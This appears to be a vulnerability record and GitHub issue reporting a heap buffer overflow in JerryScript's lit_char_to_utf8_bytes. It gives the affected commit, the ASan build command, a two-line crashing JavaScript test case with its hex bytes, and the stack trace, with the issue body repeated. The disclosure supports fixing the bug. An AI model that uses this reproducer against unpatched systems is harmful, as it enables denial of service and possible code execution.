JerryScript commit 4e58ccf68070671e1fff5cd6673f0c1d5b80b166 is affected by: Buffer Overflow. The impact is: denial of service and possibly arbitrary code execution. The component is: function lit_char_to_utf8_bytes (jerry-core/lit/lit-char-helpers.c:377). The attack vector is: executing crafted javascript code. The fixed version is: after commit 505dace719aebb3308a3af223cfaa985159efae0.
Version:
4e58ccf68070671e1fff5cd6673f0c1d5b80b166

Build command:
`python3 ./tools/build.py --clean --jerry-libc=off --system-allocator=on --profile=es2015-subset --compile-flag=-m32 --compile-flag=-fsanitize=address --strip=OFF`

Testcase:
`cat testcase | ./jerry`

Where testcase is as following:
```
0
/ð/
```
(`300a 2ff0 2f0a` in hex).

Stack trace:
```
==2342==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf580073b at pc 0x080f1a7a bp 0xffbb2b48 sp 0xffbb2b38
WRITE of size 1 at 0xf580073b thread T0
    #0 0x80f1a79 in lit_char_to_utf8_bytes jerry-core/lit/lit-char-helpers.c:377
    #1 0x811f6d8 in ecma_new_ecma_string_from_utf8_converted_to_cesu8 jerry-core/ecma/base/ecma-helpers-string.c:376
    #2 0x811f6d8 in lexer_construct_regexp_object jerry-core/parser/js/js-lexer.c:2175
    #3 0x817e286 in parser_parse_unary_expression jerry-core/parser/js/js-parser-expr.c:1116
    #4 0x817e286 in parser_parse_expression jerry-core/parser/js/js-parser-expr.c:1858
    #5 0x8193a71 in parser_parse_statements jerry-core/parser/js/js-parser-statm.c:2030
    #6 0x80effc7 in parser_parse_source.lto_priv.160 jerry-core/parser/js/js-parser.c:2368
    #7 0x804d1ef in parser_parse_script jerry-core/parser/js/js-parser.c:2881
    #8 0x804d1ef in ecma_op_eval_chars_bufferjerry-core/ecma/operations/ecma-eval.c:101
    #9 0x804d1ef in jerry_eval jerry-core/api/jerry.c:551
    #10 0x804d1ef in main jerry-main/main-unix.c:814
    #11 0xf702e636 in __libc_start_main (/lib32/libc.so.6+0x18636)
    #12 0x804f1eb  (build/bin/jerry+0x804f1eb)
```
Heap buffer overflow in lit_char_to_utf8_bytes
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Heap buffer overflow in lit_char_to_utf8_bytes
Issue date:

--- start body ---
Version:
4e58ccf68070671e1fff5cd6673f0c1d5b80b166

Build command:
`python3 ./tools/build.py --clean --jerry-libc=off --system-allocator=on --profile=es2015-subset --compile-flag=-m32 --compile-flag=-fsanitize=address --strip=OFF`

Testcase:
`cat testcase | ./jerry`

Where testcase is as following:
```
0
/ð/
```
(`300a 2ff0 2f0a` in hex).

Stack trace:
```
==2342==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf580073b at pc 0x080f1a7a bp 0xffbb2b48 sp 0xffbb2b38
WRITE of size 1 at 0xf580073b thread T0
    #0 0x80f1a79 in lit_char_to_utf8_bytes jerry-core/lit/lit-char-helpers.c:377
    #1 0x811f6d8 in ecma_new_ecma_string_from_utf8_converted_to_cesu8 jerry-core/ecma/base/ecma-helpers-string.c:376
    #2 0x811f6d8 in lexer_construct_regexp_object jerry-core/parser/js/js-lexer.c:2175
    #3 0x817e286 in parser_parse_unary_expression jerry-core/parser/js/js-parser-expr.c:1116
    #4 0x817e286 in parser_parse_expression jerry-core/parser/js/js-parser-expr.c:1858
    #5 0x8193a71 in parser_parse_statements jerry-core/parser/js/js-parser-statm.c:2030
    #6 0x80effc7 in parser_parse_source.lto_priv.160 jerry-core/parser/js/js-parser.c:2368
    #7 0x804d1ef in parser_parse_script jerry-core/parser/js/js-parser.c:2881
    #8 0x804d1ef in ecma_op_eval_chars_bufferjerry-core/ecma/operations/ecma-eval.c:101
    #9 0x804d1ef in jerry_eval jerry-core/api/jerry.c:551
    #10 0x804d1ef in main jerry-main/main-unix.c:814
    #11 0xf702e636 in __libc_start_main (/lib32/libc.so.6+0x18636)
    #12 0x804f1eb  (build/bin/jerry+0x804f1eb)
```
--- end body ---

A heap buffer overflow vulnerability exists in the `lit_char_to_utf8_bytes` function of JerryScript. This vulnerability can be triggered by providing a specially crafted input that leads to a write operation beyond the allocated memory bounds, potentially allowing an attacker to execute arbitrary code or cause a denial of service.